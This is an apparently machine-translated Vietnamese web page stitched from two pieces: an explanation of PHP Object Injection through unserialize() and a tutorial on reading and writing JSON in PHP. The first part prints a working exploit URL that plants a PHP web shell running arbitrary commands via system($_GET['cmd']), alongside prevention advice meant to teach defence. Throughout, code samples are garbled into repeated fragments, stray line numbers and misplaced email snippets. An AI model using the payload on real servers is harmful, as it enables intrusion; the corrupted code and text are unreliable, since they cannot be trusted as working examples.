Json giải tuần tự hóa php

PHP sử dụng các hàm gốc serialize()unserialize() để tuần tự hóa và hủy tuần tự hóa một đối tượng. Ví dụ: tập lệnh sau tạo một thể hiện của đối tượng FSResource, sắp xếp nó theo thứ tự và sau đó in biểu diễn chuỗi của đối tượng

path = $path;
        if (file_exists($path)) {
          $this->content = file_get_contents($path);
        }
    }

    function __destruct() {
        file_put_contents($this->path, $this->content);
    }

}

$resource = new FSResource('/tmp/file');
print(serialize($resource));

# Prints the following string representation:
# O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}

Sau đó, biểu diễn chuỗi có thể được giải tuần tự hóa một lần nữa để tạo lại thể hiện đối tượng và truy cập các thuộc tính của nó

$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file

Ví dụ dễ bị tổn thương

Việc khai thác giải tuần tự hóa trong PHP được gọi là PHP Object Injection, xảy ra khi đầu vào do người dùng kiểm soát được chuyển làm đối số đầu tiên của hàm unserialize(). Đây là một script.php dễ bị tổn thương

To be exploitable, the vulnerable piece of code must have enough PHP code in scope to build a working POP chain, a chain of reusable PHP code that causes a meaningful impact when invoked. The chain usually starts by triggering __destroy() hoặc

$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
0 Các phương thức ma thuật PHP, được gọi khi đối tượng bị phá hủy hoặc giải tuần tự hóa, để gọi các tiện ích khác thực hiện các hành động độc hại trên hệ thống

Nếu lớp FSResource được xác định trong đoạn trên nằm trong phạm vi, kẻ tấn công có thể gửi một yêu cầu HTTP có chứa một đại diện được tuần tự hóa của một đối tượng FSResource tạo tệp PHP độc hại tới

$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
3 với một
$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
4 tùy ý khi phương pháp ma thuật
$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
5 được gọi khi phá hủy

http://localhost/script.php?data=O:10:%22FSResource%22:2:{s:4:%22path%22;s:9:%22shell.php%22;s:7:%22content%22;s:27:%22%3C?php%20system($_GET[%22cmd%22]);%22;}

Tải trọng ở trên giải mã thành

$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
6 cho phép kẻ tấn công chạy các lệnh tùy ý trên hệ thống. Các tải trọng phức tạp hơn có thể được xây dựng bằng cách xâu chuỗi mã từ nhiều lớp hoặc sử dụng lại các chuỗi POP công khai, chẳng hạn như các chuỗi có trong các dự án PHPGCC

Phòng ngừa

Không bao giờ sử dụng hàm unserialize() trên đầu vào do người dùng cung cấp và tốt nhất là sử dụng các định dạng tuần tự hóa chỉ dành cho dữ liệu, chẳng hạn như JSON. Nếu bạn cần sử dụng PHP deserialization, tham số tùy chọn thứ hai đã được thêm vào trong PHP 7 cho phép bạn chỉ định danh sách cho phép của các lớp được phép

Người giới thiệu

Wikipedia - Tuần tự hóa PHP - hủy tuần tự hóa OWASP - PHP Object Injection POC 2009 - Stefan Esser - Tin tức chấn động về khai thác PHP BlackHat USA 2010 - Stefan Esser - Tận dụng Tái sử dụng Mã trong Khai thác Ứng dụng PHP PHPGCC

JSON, viết tắt của JavaScript Object Notation, là một định dạng nhẹ phổ biến để lưu trữ và trao đổi thông tin. Như cái tên gợi ý, ban đầu nó được bắt nguồn từ JavaScript, nhưng nó là một định dạng độc lập với ngôn ngữ để lưu trữ thông tin. Rất nhiều ngôn ngữ như PHP hiện triển khai các chức năng để đọc và tạo dữ liệu JSON

Hướng dẫn này sẽ dạy bạn cách đọc một tệp JSON và chuyển đổi nó thành một mảng trong PHP. Tìm hiểu cách phân tích cú pháp JSON bằng các hàm

    "email": "[email protected]",
33 và
    "email": "[email protected]",
34

Đọc JSON từ một tệp hoặc chuỗi trong PHP

Giả sử bạn có một tệp chứa thông tin ở định dạng JSON. Làm thế nào để bạn truy cập và lưu trữ nó trong PHP?

Trước tiên, bạn cần lấy dữ liệu từ tệp thành một biến bằng cách sử dụng

    "email": "[email protected]",
35. Sau khi dữ liệu ở dạng chuỗi, bạn có thể gọi hàm
    "email": "[email protected]",
36 để trích xuất thông tin từ chuỗi. Hãy nhớ rằng JSON chỉ cung cấp một cách để lưu trữ thông tin dưới dạng chuỗi bằng cách sử dụng một bộ quy tắc được xác định trước. Công việc của chúng tôi là giải mã đúng các chuỗi và lấy thông tin chúng tôi muốn

Hàm

    "email": "[email protected]",
33 chấp nhận bốn tham số, nhưng bạn sẽ chỉ cần hai tham số đầu tiên trong hầu hết các trường hợp. Tham số đầu tiên chỉ định chuỗi mà bạn muốn giải mã. Tham số thứ hai xác định cách dữ liệu đã giải mã được trả về. Đặt nó thành
    "email": "[email protected]",
38 sẽ trả về một mảng kết hợp và
    "email": "[email protected]",
39 sẽ trả về các đối tượng. Đây là một ví dụ cơ bản. Chúng tôi có một tập tin được gọi là người. json với nội dung sau

1
{
2
    "name": "Monty",
3
    "email": "[email protected]",
4
    "age": 77
5
}

Chúng tôi có thể đọc thông tin từ tệp JSON này bằng cách sử dụng mã bên dưới

1
{
1
2
3
{
4
4
5
{
7
{
8
{
9
2
0
2
1
2
2
2
3
2
4
2
5
2
6
2
7
2
8
2
9
    "name": "Monty",
0
    "name": "Monty",
1
    "name": "Monty",
2
    "name": "Monty",
3
    "name": "Monty",
4
    "name": "Monty",
5

Trong ví dụ trên,

    "email": "[email protected]",
33 trả về một đối tượng vì tham số thứ hai được đặt thành
    "email": "[email protected]",
39. Bạn có thể đặt nó thành
    "email": "[email protected]",
38 để lấy lại dữ liệu dưới dạng một mảng kết hợp

1
{
1
2
3
{
4
4
5
3
3
{
8
{
9
3
6
2
1
2
2
2
3
2
4
    "email": "[email protected]",
1
2
6
2
7
2
8
2
9
    "email": "[email protected]",
6
    "name": "Monty",
1
    "name": "Monty",
2
    "name": "Monty",
3
    "name": "Monty",
4
    "name": "Monty",
5

Bây giờ, chúng tôi sẽ giải mã JSON phức tạp hơn một chút và cố gắng lấy lại thông tin hữu ích từ nó

1
{
2
    "name": "Monty",
3
    "email": "[email protected]",
4
4
9
5
23_______1
{
8
    "age": 77
3
{
9
    "age": 77
5
2
1
    "age": 77
7
2
3
    "age": 77
9
2
4_______25_______

Mục tiêu của chúng tôi là lấy lại tất cả các quốc gia mà người đó đã đến thăm trong các năm khác nhau. Giá trị được trả về bởi

    "email": "[email protected]",
43 thực sự sẽ là một mảng và chúng tôi sẽ lặp qua nó giống như các mảng thông thường để lấy dữ liệu của chúng tôi

1
{
1
2
3
{
4
4
5
3
3
{
8
{
9
}
2
2
1
}
4
2
3
2
4
}
7
2
6
}
9
2
8
{
01
2
9
{
03
    "name": "Monty",
1
{
05
    "name": "Monty",
3
{
07
    "name": "Monty",
4
{
09
{
10
{
11
{
12
{
13
    "name": "Monty",
5

Hãy xem qua một ví dụ cuối cùng về trích xuất thông tin từ tệp JSON. Đây là JSON mà từ đó chúng tôi sẽ trích xuất dữ liệu của mình

1
{
2
{
18
3
{
20
4
{
22
5
{
24
{
8
{
26
{
9
{
28
2
1
{
30
2
3
{
32
2
4
{
34
2
6
{
36
2
8
{
30
2
9
{
40
    "name": "Monty",
1
{
42
    "name": "Monty",
3
{
36
    "name": "Monty",
4
{
30
{
10
{
48
{
12
{
50
{
13
{
52
{
53
{
54
{
55
{
56
{
57
{
20
{
59
{
60
{
61
{
62
{
63
{
64
{
65
{
28
{
67________17______

Lần này, chúng tôi có hai mảng lồng nhau trong dữ liệu JSON. Vì vậy, chúng tôi sẽ sử dụng hai vòng lặp lồng nhau để lấy các quốc gia được các khách hàng khác nhau ghé thăm

1
{
1
2
3
{
4
4
5
3
3
{
8
{
9
2
85
2
1
2
3
2
88
2
4
2
90
2
6
2
92
2
8
2
9
2
95
    "name": "Monty",
1
2
97
    "name": "Monty",
3
2
99
    "name": "Monty",
4
{
01
{
10
{
12
{
03
{
13
    "name": "Monty",
06
{
53
    "name": "Monty",
08
{
55
    "name": "Monty",
10
{
57
    "name": "Monty",
12
{
59
    "name": "Monty",
14
{
61
    "name": "Monty",
16
{
63
    "name": "Monty",
18
{
65
    "name": "Monty",
12
{
67
    "name": "Monty",
22
{
69
    "name": "Monty",
24
{
71
    "name": "Monty",
26
{
73
    "name": "Monty",

Bây giờ bạn sẽ có một ý tưởng sơ bộ về cách tiếp cận mà bạn nên thực hiện để đọc dữ liệu JSON từ một tệp tùy thuộc vào cách nó được tạo

Đọc dữ liệu JSON mà không cần biết trước các khóa

Cho đến nay chúng tôi đã đọc dữ liệu JSON nơi chúng tôi đã biết tất cả các khóa. Điều đó có thể không phải lúc nào cũng đúng. May mắn thay, chúng tôi vẫn có thể trích xuất thông tin hữu ích từ tệp khi chúng tôi đã lưu trữ nó dưới dạng một mảng kết hợp. Ví dụ sau đây sẽ làm sáng tỏ mọi thứ

1
{
2
    "name": "Monty",
43
3
{
22
4
    "name": "Monty",
47
5
    "name": "Monty",
49
{
8
    "name": "Monty",
51
{
9
{
98
2
1
    "name": "Monty",
55
2
3
    "name": "Monty",
49
2
4
    "name": "Monty",
59
2
6
{
60
2
8
    "name": "Monty",
63
2
9
    "name": "Monty",
49
    "name": "Monty",
1
    "name": "Monty",
67
    "name": "Monty",
3
2
36
    "name": "Monty",
4
    "name": "Monty",
71
{
10
    "name": "Monty",
73
{
12
}

Các khóa trong JSON trên dường như là các chuỗi ngẫu nhiên mà chúng ta không thể đoán trước được. Tuy nhiên, khi chúng tôi chuyển đổi nó thành một mảng kết hợp, chúng tôi sẽ không còn cần phải biết chính xác các giá trị chính để lặp qua dữ liệu

1
{
1
2
3
{
4
4
5
3
3
{
8
{
9
    "name": "Monty",
86
2
1
    "name": "Monty",
88
2
3
    "name": "Monty",
90
2
4
    "name": "Monty",
92
2
6
    "name": "Monty",
94
2
8
{
01
2
9
    "name": "Monty",
1
{
03
    "name": "Monty",
3
3
01
    "name": "Monty",
4
3
03
{
10
3
05
{
12
3
07
{
13
{
11
{
53
{
55
    "name": "Monty",
5

Tạo dữ liệu JSON trong PHP

Bạn cũng có thể biến dữ liệu của mình thành một chuỗi JSON có định dạng phù hợp trong PHP với sự trợ giúp của hàm

    "email": "[email protected]",
44. Về cơ bản, nó chấp nhận ba tham số, nhưng bạn thường chỉ cần tham số đầu tiên, tôi. e. giá trị bạn muốn mã hóa trong hầu hết các tình huống

1
{
1
2
3
3
17
4
3
19
5
3
21
{
8
3
23
{
9
3
25
2
1
3
27
2
3
3
29
2
4
3
31
2
6
2
8
3
34
2
9
    "name": "Monty",
1
{
03
    "name": "Monty",
3
3
39
    "name": "Monty",
4
{
11
{
10
{
12
    "name": "Monty",
5

Bạn cũng có thể cần sử dụng một số cờ để nhận chuỗi JSON ở định dạng mong muốn. Ví dụ: bạn có thể sử dụng cờ

    "email": "[email protected]",
45 để thêm khoảng trắng nhằm định dạng đúng chuỗi JSON. Tương tự, bạn có thể sử dụng cờ
    "email": "[email protected]",
46 để đảm bảo các giá trị float luôn được lưu trữ dưới dạng float, ngay cả khi chúng tương đương với một số nguyên về độ lớn. Bạn có thể xem danh sách tất cả các cờ như vậy trong tài liệu chính thức

1
{
1
2
3
3
17
4
3
19
5
3
21
{
8
3
23
{
9
3
25
2
1
3
27
2
3
3
29
2
4
3
31
2
6
2
8
3
66
2
9
    "name": "Monty",
1
{
03
    "name": "Monty",
3
3
71
    "name": "Monty",
4
3
73
{
10
3
75
{
12
3
77
{
13
3
79
{
53
3
81
{
55
3
75
{
57
3
85
{
59
3
87
{
61
3
81
{
63
3
75
{
65
3
93
{
67
3
95
{
69
3
81________17_____

Xử lý lỗi trong quá trình mã hóa và giải mã

Định dạng JSON yêu cầu chúng tôi tuân theo một bộ quy tắc cụ thể để mã hóa và giải mã chuỗi phù hợp. Ví dụ: tên và giá trị phải được đặt trong dấu ngoặc kép và không được có dấu phẩy ở sau cặp tên-giá trị. Hàm

    "email": "[email protected]",
47 có thể giúp bạn tìm ra loại lỗi mà bạn đang mắc phải để bạn có thể thực hiện các bước thích hợp. Đây là một ví dụ rất cơ bản

1
{
1
2
3
___
    "email": "[email protected]",
19
4
___
5
9_______22
{
8
    "email": "[email protected]",
24
{
9
2
1
    "email": "[email protected]",
27
2
3
    "email": "[email protected]",
29
2
4
2
6_______19_______5

Suy nghĩ cuối cùng

Trong hướng dẫn này, bạn đã học cách đọc dữ liệu JSON từ một tệp hoặc chuỗi trong PHP. Bạn cũng đã học cách chuyển đổi JSON đó thành một mảng và duyệt qua nó để trích xuất thông tin bạn muốn. Giờ đây, bạn có thể lấy thông tin từ JSON trong một tệp mà bạn không biết tất cả các khóa trong các cặp khóa-giá trị

Trong hai phần trước, chúng tôi đã đề cập đến cách bạn có thể xâu chuỗi dữ liệu dưới dạng JSON trong PHP và các lỗi bạn có thể gặp phải trong quá trình mã hóa và giải mã

Làm cách nào để giải mã dữ liệu JSON trong PHP?

PHP và JSON .
Hàm json_encode() dùng để mã hóa một giá trị sang định dạng JSON
Hàm json_decode() được sử dụng để giải mã một đối tượng JSON thành một đối tượng PHP hoặc một mảng kết hợp
Hàm json_decode() trả về một đối tượng theo mặc định. .
Bạn cũng có thể lặp qua các giá trị bằng vòng lặp foreach()

json_decode trong PHP là gì?

Hàm json_decode() được dùng để giải mã hoặc chuyển đổi đối tượng JSON thành đối tượng PHP .

Làm cách nào để giải mã chuỗi JSON trong PHP?

Cú pháp. Hàm json_decode() có thể lấy một chuỗi được mã hóa JSON và chuyển đổi thành một biến PHP . Hàm json_decode() có thể trả về một giá trị được mã hóa bằng JSON theo kiểu PHP thích hợp. Các giá trị true, false và null được trả về lần lượt là TRUE, FALSE và NULL.

Làm cách nào để chuyển đổi dữ liệu JSON thành mảng trong PHP?

Để chuyển đổi chuỗi dữ liệu JSON thành mảng PHP, bạn có thể sử dụng hàm json_decode($json) . Hàm json_decode() chấp nhận chuỗi JSON làm tham số đầu tiên và một vài tham số bổ sung để kiểm soát quá trình chuyển đổi JSON thành mảng PHP.